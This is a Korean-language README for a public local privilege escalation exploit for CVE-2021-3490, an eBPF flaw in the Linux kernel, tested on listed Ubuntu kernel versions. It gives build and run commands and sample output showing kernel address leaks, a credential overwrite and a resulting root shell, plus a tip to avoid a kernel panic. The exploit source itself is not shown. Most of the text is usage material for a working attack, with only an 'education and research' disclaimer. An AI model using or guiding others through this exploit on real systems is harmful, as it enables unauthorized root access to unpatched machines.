
CVE-2021-3490에 대한 LPE 익스플로잇입니다. Ubuntu 20.04.02 및 20.10(Groovy Gorilla) 커널 5.8.0-25.26부터 5.8.0-52.58까지 테스트되었습니다. 그리고 Ubuntu 21.04(Hirsute Hippo) 5.11.0-16.17에서도 테스트되었습니다. 이 취약점은 Manfred Paul @_manfp이(가) 발견했으며 이 commit에서 패치되었습니다.
작성자: @chompie1337
교육/연구 목적으로만 사용하세요. 사용에 따른 책임은 본인에게 있습니다.
Ubuntu 20.04.02 및 Ubuntu 20.10(Groovy Gorilla)용으로 빌드하려면:
make groovy
Ubuntu 21.04(Hirsute Hippo)용으로 빌드하려면:
make hirsute
실행하려면:
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
참고: 커널 패닉을 방지하고 정리 작업을 수행하려면 root 셸에서 exit를 입력하여 반드시 완전히 종료해야 합니다.
라이트업 Kernel Pwning with eBPF: a Love Story를 확인하세요.